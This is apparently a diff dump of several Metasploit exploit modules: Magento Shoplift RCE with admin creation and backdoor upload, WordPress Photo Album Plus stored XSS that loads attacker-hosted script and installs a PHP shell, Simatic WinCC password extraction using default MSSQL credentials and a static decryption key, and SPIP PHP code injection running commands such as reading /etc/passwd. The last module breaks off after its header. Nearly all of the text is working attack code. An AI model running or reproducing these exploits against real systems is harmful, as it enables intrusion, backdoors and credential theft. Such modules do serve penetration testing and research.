include Msf::Exploit::Remote::HttpClient
|
||||
include REXML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Magento RCE (Shoplift)',
|
||||
'Description' => %q(
|
||||
This module exploits the infamous Magento's Shoplift vulnerability
|
||||
to create a new admininitrator account,
|
||||
then it creates a backdoor module on the fly,
|
||||
and install it to achieve code execution.
|
||||
|
||||
Versions before 1.9.1.0 are vulnerable.
|
||||
),
|
||||
'Author' => [
|
||||
'Netanel Rubin', # discovery
|
||||
'Julien (jvoisin) Voisin' # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-1397'],
|
||||
['URL', 'http://blog.checkpoint.com/2015/04/20/analyzing-magento-vulnerability/'],
|
||||
['EDB', 37977]
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => ['php'],
|
||||
'Targets' => [ [ 'auto', {}] ],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 28 2015'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'URI to Magento', '/magento'])
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({ 'uri' => target_uri.path })
|
||||
return unless res && res.code == 200
|
||||
return Exploit::CheckCode::Appears if res.body =~ /201[01234] Magento/
|
||||
return Exploit::CheckCode::Detected if res.body.include?('Magento')
|
||||
end
|
||||
|
||||
def exploit
|
||||
@username = Rex::Text.rand_text_alpha(8)
|
||||
@password = Rex::Text.rand_text_alpha(8)
|
||||
@package_name = Rex::Text.rand_text_alpha(8)
|
||||
|
||||
# We generate a code 3XX error page, since magento only provides
|
||||
# some for 5XX and 4XX, so we're sure to not overwrite anything.
|
||||
page_name = "3#{Rex::Text.rand_text_numeric(2)}.php"
|
||||
|
||||
create_or_delete_admin('create')
|
||||
cookie = obtain_session_cookie
|
||||
set_file_permissions(cookie)
|
||||
create_backdoor(page_name, cookie)
|
||||
|
||||
print_status "Requesting malicious webpage"
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "errors/#{page_name}"),
|
||||
'cookie' => cookie
|
||||
})
|
||||
end
|
||||
|
||||
def cleanup
|
||||
remove_backdoor
|
||||
create_or_delete_admin('delete')
|
||||
end
|
||||
|
||||
def create_or_delete_admin(operation)
|
||||
if operation == 'create'
|
||||
query = "SET @SALT = 'rp';"
|
||||
query << "SET @PASS = CONCAT(MD5(CONCAT( @SALT , '#{@password}') ), CONCAT(':', @SALT ));"
|
||||
query << "SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;"
|
||||
query << "INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,"
|
||||
query << "`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES"
|
||||
query << "('Firstname','Lastname','email@example.com','#{@username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());"
|
||||
query << "INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES"
|
||||
query << "(1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '#{@username}'),'Firstname');"
|
||||
elsif operation == 'delete'
|
||||
query = "DELETE FROM `admin_role` WHERE `user_id` = (SELECT user_id FROM admin_user WHERE username = '#{@username}');"
|
||||
query << "DELETE FROM `admin_user` WHERE `username` = '#{@username}';"
|
||||
end
|
||||
|
||||
filter = Rex::Text.encode_base64('popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);' + query)
|
||||
|
||||
directive = Rex::Text.encode_base64url("{{block type=Adminhtml/report_search_grid output=getCsvFile}}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'index.php/admin/Cms_Wysiwyg/directive/index/'),
|
||||
'vars_post' => {
|
||||
'___directive' => directive,
|
||||
'filter' => filter,
|
||||
'forwarded' => 1
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status "Account #{@username}/#{@password} #{operation}d on #{peer}"
|
||||
else
|
||||
fail_with(Failure::NotVulnerable, "Unable to #{operation} the account #{@username}/#{@password}}.")
|
||||
end
|
||||
end
|
||||
|
||||
def set_file_permissions(cookie=nil)
|
||||
print_status 'Setting custom file permissions'
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/downloader/index.php'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'A' => 'settingsPost'
|
||||
},
|
||||
'vars_post' => {
|
||||
'protocol' => 'http',
|
||||
'preferred_state' => 'stable',
|
||||
'use_custom_permissions_mode' => '1',
|
||||
'mkdir_mode' => '755',
|
||||
'chmod_file_mode' => '644',
|
||||
'deployment_type' => 'fs',
|
||||
'ftp_host' => '',
|
||||
'ftp_login' => '',
|
||||
'ftp_password' => '',
|
||||
'ftp_path' => ''
|
||||
}
|
||||
})
|
||||
|
||||
if res.code == 301 or res.code == 302
|
||||
print_status "File permissions set"
|
||||
else
|
||||
print_warnings "Error setting file permissions"
|
||||
end
|
||||
end
|
||||
|
||||
def obtain_session_cookie
|
||||
uri = normalize_uri(target_uri.path, '/downloader/index.php')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
"ctype" => "application/x-www-form-urlencoded",
|
||||
'vars_post' => {
|
||||
'form_key' => get_csrf_token,
|
||||
"username" => @username,
|
||||
'password' => @password
|
||||
},
|
||||
'vars_get' => { 'A' => 'loggedin' }
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
if res.body.include('Your Magento folder does not have sufficient write permissions')
|
||||
fail_with(Failure::NoAccess, 'It seems that your Magento instance has no write permission. We will not be able to backdoor it.')
|
||||
end
|
||||
# We need to split the cookie, since Magento will
|
||||
# set a cookie, delete it, then set another one.
|
||||
res.get_cookies.split(' ').last
|
||||
else
|
||||
fail_with(Failure::BadConfig, "Unable to login at #{uri} to get the session cookie.")
|
||||
end
|
||||
end
|
||||
|
||||
def create_extension_file(page_name)
|
||||
print_status 'Creating the backdoor file'
|
||||
|
||||
tarfile = StringIO.new('')
|
||||
Gem::Package::TarWriter.new(tarfile) do |tar|
|
||||
backdoor = payload.encoded
|
||||
tar.add_file("errors/#{page_name}", 0440) do |io|
|
||||
io.write(backdoor)
|
||||
end
|
||||
|
||||
package = Element.new('package')
|
||||
package.add_element('name').text = @package_name
|
||||
package.add_element('version').text = (1..10).to_a.sample(4).join('.')
|
||||
package.add_element('stability').text = 'devel'
|
||||
package.add_element('licence').text = Rex::Text.rand_text_alpha(64)
|
||||
package.add_element('channel').text = 'community'
|
||||
|
||||
author = Element.new('author')
|
||||
author.add_element('name').text = Rex::Text.rand_surname
|
||||
author.add_element('user').text = Rex::Text.rand_surname
|
||||
author.add_element('email').text = Rex::Text.rand_surname + '@' + Rex::Text.rand_hostname
|
||||
package.elements << Element.new('authors') << author
|
||||
|
||||
package.add_element('date').text = ::Time.now.strftime('%Y-%m-%d')
|
||||
package.add_element('time').text = ::Time.now.strftime('%H:%M:%S')
|
||||
|
||||
target = Element.new('target')
|
||||
target.add_attribute('name', 'mage')
|
||||
dir2 = Element.new('dir')
|
||||
dir2.add_attribute('name', 'errors')
|
||||
file = Element.new('file')
|
||||
file.add_attributes({ 'name' => page_name, 'hash' => Rex::Text.md5(backdoor) })
|
||||
package << Element.new('contents') << target << Element.new('dir') << dir2 << file
|
||||
|
||||
php = Element.new('php')
|
||||
php.add_element('min').text = '4.' + (1..10).to_a.sample(2).join('.')
|
||||
php.add_element('max').text = '6.' + (1..10).to_a.sample(2).join('.')
|
||||
package << Element.new('required') << php
|
||||
|
||||
doc = Document.new << XMLDecl.new << package
|
||||
|
||||
tar.add_file("package.xml", 0440) do |io|
|
||||
io.write(doc.to_s)
|
||||
end
|
||||
end
|
||||
tarfile.rewind
|
||||
|
||||
gz = StringIO.new('')
|
||||
z = Zlib::GzipWriter.new(gz)
|
||||
z.write tarfile.string
|
||||
z.close
|
||||
|
||||
gz.string
|
||||
end
|
||||
|
||||
def get_csrf_token(cookie=nil)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, '/downloader/'),
|
||||
'cookie' => cookie
|
||||
})
|
||||
return unless res && res.code == 200
|
||||
|
||||
match = res.body.match(/input name="form_key" type="hidden" value="([^"]+)"/m)
|
||||
return nil unless match
|
||||
|
||||
csrf_token = match.captures[0]
|
||||
print_status "CSRF token obtained (#{csrf_token})"
|
||||
csrf_token
|
||||
end
|
||||
|
||||
def create_backdoor(page_name, cookie)
|
||||
file = create_extension_file(page_name)
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
token = get_csrf_token(cookie)
|
||||
if token then post_data.add_part(token, nil, nil, 'form-data; name="form_key"') end
|
||||
post_data.add_part(file, 'application/gzip', 'binary', "form-data; name=\"file\"; filename=\"#{Rex::Text.rand_text_alpha(8)}.tgz\"")
|
||||
|
||||
print_status "Installing the malicious module"
|
||||
|
||||
res = send_request_cgi({
|
||||
"method" => "POST",
|
||||
"uri" => normalize_uri(target_uri.path, '/downloader/index.php'),
|
||||
"ctype" => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
"data" => post_data.to_s,
|
||||
"cookie" => cookie,
|
||||
"vars_get" => {
|
||||
'A' => 'connectInstallPackageUpload',
|
||||
'maintenance' => 0,
|
||||
'archive_type' => 0
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status 'Malicious module installed'
|
||||
else
|
||||
print_warning 'Unable to upload malicious module'
|
||||
end
|
||||
|
||||
# Cleaning cache to improve reliability
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/downloader/index.php'),
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'A' => 'cleanCache',
|
||||
'maintenance' => 0
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
def remove_backdoor
|
||||
cookie = obtain_session_cookie
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/downloader/index.php'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'A' => 'connectPackagesPost',
|
||||
'maintenance' => 0,
|
||||
'archive_type' => 0
|
||||
},
|
||||
'vars_post' => {
|
||||
'form_id' => 'connect_packages_0',
|
||||
"actions[community|#{@package_name}]" => 'uninstall'
|
||||
}
|
||||
})
|
||||
|
||||
if res && res.code == 200
|
||||
print_status "Backdoor package removed"
|
||||
else
|
||||
print_warnings "Backdoor package not removed"
|
||||
end
|
||||
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/downloader/index.php'),
|
||||
'ctype' => 'application/x-www-form-urlencoded',
|
||||
'cookie' => cookie,
|
||||
'vars_post' => { 'clean_sessions' => 0 },
|
||||
'vars_get' => {
|
||||
'A' => 'cleanCache',
|
||||
'maintenance' => 0
|
||||
}
|
||||
})
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,192 @@
|
||||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/zip'
|
||||
require 'erb'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
include ERB::Util
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WP Photo Album Plus 6.1.2 Stored XSS',
|
||||
'Description' => %q(
|
||||
The vulnerability exists due to the absence of filtration of user-supplied
|
||||
input passed via the "comname" and "comemail" HTTP POST parameters to
|
||||
"/wp-content/plugins/wp-photo-album-plus/wppa-ajax-front.php" script when
|
||||
posting a comment.
|
||||
|
||||
A remote attacker can post a specially crafted message containing malicious
|
||||
HTML or script code and execute it in administrator's browser in context of
|
||||
the vulnerable website, when administrator views images or comments in
|
||||
administrative interface.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'High-Tech Bridge Security Research Lab', # Discovery and disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-3647'],
|
||||
['WPVDB', '7996'],
|
||||
['URL', 'https://www.htbridge.com/advisory/HTB23257']
|
||||
],
|
||||
'DisclosureDate' => 'May 20 2015',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['WordPress', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('LHOST', [true, 'The host address to access via the stored XSS', '']),
|
||||
OptString.new('URIPATH', [false, 'The URI to use for this exploit', ''])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def script
|
||||
%Q|
|
||||
var a = document.createElement("script");
|
||||
a.setAttribute("src", "http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{datastore['URIPATH']}");
|
||||
document.head.appendChild(a);
|
||||
|
|
||||
end
|
||||
|
||||
def encoded_script
|
||||
"eval(decodeURIComponent(/#{url_encode(script)}/.source))"
|
||||
end
|
||||
|
||||
def ajax_url
|
||||
normalize_uri(wordpress_url_plugins, 'wp-photo-album-plus', 'wppa-ajax-front.php')
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('wp-photo-album-plus', '6.1.3')
|
||||
end
|
||||
|
||||
def exploit
|
||||
super
|
||||
end
|
||||
|
||||
def primer
|
||||
print_status("#{peer} - Storing script...")
|
||||
vprint_status(script)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => ajax_url,
|
||||
'vars_post' => {
|
||||
'action' => 'wppa',
|
||||
'wppa-action' => 'do-comment',
|
||||
'photo-id' => Rex::Text.rand_text_numeric(3),
|
||||
'comment' => Rex::Text.rand_text_alpha(50),
|
||||
'comemail' => "#{Rex::Text.rand_text_alpha(10)}@#{Rex::Text.rand_text_alpha(10)}.com",
|
||||
'comname' => "#{Rex::Text.rand_text_alpha(8)}<script>#{encoded_script}</script>"
|
||||
}
|
||||
)
|
||||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
|
||||
|
||||
print_good("#{peer} - Script stored and will be executed upon visiting /wp-admin/admin.php?page=wppa_manage_comments")
|
||||
end
|
||||
|
||||
def wordpress_js_create_user
|
||||
username = Rex::Text.rand_text_alpha(6)
|
||||
password = Rex::Text.rand_text_alpha(10)
|
||||
|
||||
%Q|
|
||||
#{js_ajax_download}
|
||||
#{js_ajax_post}
|
||||
|
||||
var create_user = function () {
|
||||
var nonce = this.responseText.match(/id="_wpnonce_create-user" name="_wpnonce_create-user" value="([a-z0-9]+)"/i)[1];
|
||||
var data = new FormData();
|
||||
|
||||
data.append('action', 'createuser');
|
||||
data.append('_wpnonce_create-user', nonce);
|
||||
data.append('_wp_http_referer', '#{wordpress_url_new_user}');
|
||||
data.append('user_login', '#{username}');
|
||||
data.append('email', '#{Rex::Text.rand_text_alpha(7)}@#{Rex::Text.rand_text_alpha(10)}.com');
|
||||
data.append('pass1', '#{password}');
|
||||
data.append('pass2', '#{password}');
|
||||
data.append('role', 'administrator');
|
||||
|
||||
postInfo("#{wordpress_url_new_user}", data, function () {
|
||||
var a = document.createElement("script");
|
||||
a.setAttribute("src", "http://#{datastore['LHOST']}:#{datastore['SRVPORT']}/#{datastore['URIPATH']}?u=#{username}&p=#{password}");
|
||||
document.head.appendChild(a);
|
||||
});
|
||||
};
|
||||
|
||||
ajax_download({
|
||||
path: "#{wordpress_url_new_user}",
|
||||
cb: create_user
|
||||
});
|
||||
|
|
||||
end
|
||||
|
||||
def generate_plugin(plugin_name, payload_name)
|
||||
plugin_script = %Q{<?php
|
||||
/**
|
||||
* Plugin Name: #{plugin_name}
|
||||
* Version: #{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(1)}.#{Rex::Text.rand_text_numeric(2)}
|
||||
* Author: #{Rex::Text.rand_text_alpha(10)}
|
||||
* Author URI: http://#{Rex::Text.rand_text_alpha(10)}.com
|
||||
* License: GPL2
|
||||
*/
|
||||
?>}
|
||||
|
||||
zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE)
|
||||
zip.add_file("#{plugin_name}/#{plugin_name}.php", plugin_script)
|
||||
zip.add_file("#{plugin_name}/#{payload_name}.php", payload.encoded)
|
||||
zip
|
||||
end
|
||||
|
||||
def upload_shell(username, password)
|
||||
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
|
||||
cookie = wordpress_login(username, password)
|
||||
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
|
||||
print_good("#{peer} - Authenticated with WordPress")
|
||||
|
||||
print_status("#{peer} - Preparing payload...")
|
||||
plugin_name = Rex::Text.rand_text_alpha(10)
|
||||
payload_name = "#{Rex::Text.rand_text_alpha(10)}"
|
||||
payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
|
||||
zip = generate_plugin(plugin_name, payload_name)
|
||||
|
||||
print_status("#{peer} - Uploading payload...")
|
||||
uploaded = wordpress_upload_plugin(plugin_name, zip.pack, cookie)
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the payload') unless uploaded
|
||||
|
||||
print_status("#{peer} - Executing the payload at #{payload_uri}...")
|
||||
register_files_for_cleanup("#{payload_name}.php")
|
||||
register_files_for_cleanup("#{plugin_name}.php")
|
||||
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
if request.qstring['u'] && request.qstring['p']
|
||||
print_good("#{peer} - created a new administrator user, #{request.qstring['u']}:#{request.qstring['p']}")
|
||||
#stop_service if service
|
||||
upload_shell(request.qstring['u'], request.qstring['p'])
|
||||
else
|
||||
html = wordpress_js_create_user
|
||||
print_good("#{peer} - serving JavaScript")
|
||||
end
|
||||
|
||||
send_response(cli, html)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,183 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::MSSQL
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Simatic WinCC Until 7.0 SP3 Update2 Information Gathering',
|
||||
'Description' => 'This module allows remote attackers to get HMI users passwords on
|
||||
the affected system via MSSQL using default logins/passwords:
|
||||
WinCCAdmin/2WSXcde.
|
||||
WinCCConnect/2WSXcder',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Dmitry Nagibin <DNagibin[at]ptsecurity.com>', # Initial discovery/PoC
|
||||
'Gleb Gritsai <ggritsai[at]ptsecurity.com>', # Initial discovery/PoC
|
||||
'Vyacheslav Egoshin <vegoshin[at]ptsecurity.com>' # msf
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-2772'],
|
||||
['OSVDB', '66441'],
|
||||
[ 'BID', '41753'],
|
||||
[ 'URL', 'http://www.slideshare.net/qqlan/positive-technologies-s4-scada-under-xrays'],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'USERNAME' => 'WinCCConnect',
|
||||
'PASSWORD' => '2WSXcder'
|
||||
},
|
||||
'DisclosureDate' => 'Jun 03 2012'))
|
||||
end
|
||||
|
||||
def decrypt(username, hash)
|
||||
# static
|
||||
key = "This is my encryptionkey"
|
||||
# convert string to ascii array
|
||||
ascii = -> str { str .scan(/./) .map{|c|c.ord} }
|
||||
# convert hex string to array
|
||||
hex = -> num { num .scan(/../) .map{|n|n.to_i 16 if n.to_i>0} }
|
||||
key, hash = ascii.(key), hex.(hash)
|
||||
|
||||
# complements an array of zeroes element
|
||||
username = ascii.(username.upcase) + [0] * (key.size - ascii.(username).size)
|
||||
# delete spaces from ascii key array
|
||||
hash.delete(32)
|
||||
# xor each symbol key and hash
|
||||
xor_key_user = key.zip(hash) .reject{|i| i[1].nil? } .map{|x| x[0]^x[1]}
|
||||
# xor previous step with username
|
||||
xor_password = xor_key_user.zip(username) .map{|x| x[0]^x[1]}
|
||||
# get password characters
|
||||
xor_password.select! {|sym| sym > 18} .map! { |sym| sym.chr}
|
||||
|
||||
xor_password.join
|
||||
end
|
||||
|
||||
def run
|
||||
# try connect to DB
|
||||
if mssql_login_datastore
|
||||
# get db
|
||||
project_databases_names = db_query("SELECT name FROM master..sysdatabases WHERE name LIKE 'CC%_[0-9]'")
|
||||
get_info(project_databases_names)
|
||||
else
|
||||
print_error "Can't connect to the database"
|
||||
end
|
||||
end
|
||||
|
||||
def db_query(query, verbose = false, only_rows = true)
|
||||
# query MSSQL DB
|
||||
result = mssql_query(query, verbose)
|
||||
if !result[:errors].empty?
|
||||
print_error "Error: #{result[:errors]}"
|
||||
print_error "Error query: #{query}"
|
||||
else
|
||||
only_rows ? result[:rows] : result
|
||||
end
|
||||
end
|
||||
|
||||
def print_table columns, rows, header = ''
|
||||
# print output table
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
'Indent' => 4,
|
||||
'Header' => header,
|
||||
'Columns' => columns
|
||||
)
|
||||
|
||||
unless rows.nil?
|
||||
rows.each do |row|
|
||||
tbl << row
|
||||
end
|
||||
print_line tbl.to_s
|
||||
end
|
||||
end
|
||||
|
||||
def get_info(dbs)
|
||||
prj ={}
|
||||
dbs.map do |db|
|
||||
# get db name
|
||||
db = db.first
|
||||
prj[db] = {}
|
||||
prj[db]["name"] = db_query("SELECT DSN FROM #{db}.dbo.CC_CsSysInfoLog")
|
||||
|
||||
prj[db]["admins"] = db_query("SELECT NAME,
|
||||
convert(varbinary, PASS) as PWD
|
||||
FROM #{db}.dbo.PW_USER
|
||||
WHERE PASS <> '' and GRPID = 1000")
|
||||
|
||||
# decrypt admin password
|
||||
prj[db]["admins"] = prj[db]["admins"].map do |usr|
|
||||
usr_pass = decrypt usr[0].strip,usr[1]
|
||||
usr.insert(2,usr_pass)
|
||||
end
|
||||
|
||||
prj[db]["users"] = db_query("SELECT ID, NAME, convert(varbinary, PASS), GRPID
|
||||
FROM #{db}.[dbo].[PW_USER]
|
||||
WHERE PASS <> '' and GRPID <> 1000")
|
||||
|
||||
# decrypt user password
|
||||
prj[db]["users"] = prj[db]["users"].map do |usr|
|
||||
usr_pass = decrypt usr[1].strip,usr[2]
|
||||
usr.insert(3,usr_pass)
|
||||
end
|
||||
|
||||
prj[db]["tags"] = db_query("SELECT VARNAME,VARTYP,COMMENTS FROM #{db}.[dbo].[PDE#TAGs]")
|
||||
prj[db]["groups"] = db_query("SELECT ID, NAME FROM #{db}.[dbo].[PW_USER] WHERE PASS = ''")
|
||||
|
||||
prj[db]["plcs"] = db_query("SELECT CONNECTIONNAME, PARAMETER FROM #{db}.[dbo].[MCPTCONNECTION]")
|
||||
|
||||
# get PLC IP
|
||||
prj[db]["plcs"] = prj[db]["plcs"].map do |name, ip|
|
||||
real_ip = ip
|
||||
# if ip notation found
|
||||
real_ip = ip.scan(/\d+\.\d+\.\d+\.\d+/).first if ip =~ /\d+\.\d+\.\d+\.\d+/
|
||||
[name, real_ip]
|
||||
end
|
||||
|
||||
# print project name
|
||||
print_good "Project: #{prj[db]["name"].first.first}\n"
|
||||
# print fields, data, header
|
||||
print_table %w|ID NAME|, prj[db]["groups"], "WinCC groups"
|
||||
print_table %w|Name Password(hex) Password(text)|, prj[db]["admins"], "WinCC administrator"
|
||||
print_table %w|ID NAME Password(hex) Password(text) GRPID|, prj[db]["users"], "WinCC users"
|
||||
print_table %w|VARNAME VARTYP COMMENTS|, prj[db]["tags"], "WinCC tags"
|
||||
print_table %w|CONNECTIONNAME PARAMETER|, prj[db]["plcs"], "WinCC PLCs"
|
||||
|
||||
prj[db]["admins"].map do |usr|
|
||||
report_auth_info(
|
||||
:host => "1.2.3.4",
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'HMI User',
|
||||
:user => usr[0].strip,
|
||||
:pass => usr[2],
|
||||
:source_type => "captured",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
|
||||
prj[db]["users"].map do |usr|
|
||||
report_auth_info(
|
||||
:host => "1.2.3.4",
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'HMI User',
|
||||
:user => usr[1].strip,
|
||||
:pass => usr[3],
|
||||
:source_type => "captured",
|
||||
:active => true
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'base64'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'SPIP Connect Parameter Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a PHP code injection in SPIP. The vulnerability
|
||||
exists in the connect parameter and allows an unauthenticated user
|
||||
to execute arbitrary commands with web user privileges. Branchs 2.0/2.1/3 are concerned.
|
||||
Vulnerable versions are < 2.0.21 & < 2.1.16 & < 3.0.3.
|
||||
The module has been tested successfully with SPIP 2.0.11/Apache on Ubuntu and Fedora.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Arnaud Pachot', #Initial discovery
|
||||
'Davy Douhine and Frederic Cikala', #PoC
|
||||
'Davy Douhine', #MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '54292' ],
|
||||
[ 'URL', 'http://contrib.spip.net/SPIP-3-0-3-2-1-16-et-2-0-21-a-l-etape-303-epate-la' ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jul 04 2012'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('SPIP_ROOT',[ true, 'SPIP root directory', '/']),
|
||||
OptString.new('CMD', [ true, 'The command to execute', 'cat /etc/passwd'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
uri = datastore['SPIP_ROOT'] + '/spip.php'
|
||||
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
|
||||
|
||||
# very dirty trick !
|
||||
# the SPIP server answers an HTML page which contains the ouput of the executed command on target
|
||||
# to easily extract the command output a header and a trailer are used.
|
||||
# the whole thing (header + CMD + trailer) is base64 encoded to avoid spaces/special char filtering
|
||||
# the header and the trailer will be used later when displaying the result (print_status)
|
||||
cmd64 = Base64.urlsafe_encode64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456-\";")
|
||||
|
||||
# another dirty trick !
|
||||
# a character is added in the trailer to make the cmd64 string longer and avoid SPIP "=" filtering
|
||||
if cmd64.include?("=")
|
||||
cmd64 = Base64.urlsafe_encode64("echo \"-123-\";#{datastore['CMD']}\;echo \"-456--\";")
|
||||
end
|
||||
|
||||
# the (trivial) vuln
|
||||
data_cmd = "connect=?><? system(base64_decode(#{cmd64}))?>"
|
||||
|
||||
begin
|
||||
print_status("Attempting to connect to #{rhost}:#{rport}")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'data' => data_cmd
|
||||
})
|
||||
if (res)
|
||||
# extracting the output of the executed command (using the dirty trick)
|
||||
result = res.body.to_s.split("-123-").last.to_s.split("-456-").first
|
||||
print_status("Output: #{result}")
|
||||
end
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,99 @@
|
||||
##
|
||||
# $Id: boa_auth_dos.rb 15014 2012-06-06 15:13:11Z rapid7 $
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Boa HTTPd Basic Authentication Overflow',
|
||||
'Description' =>
|
||||
%q{
|
||||
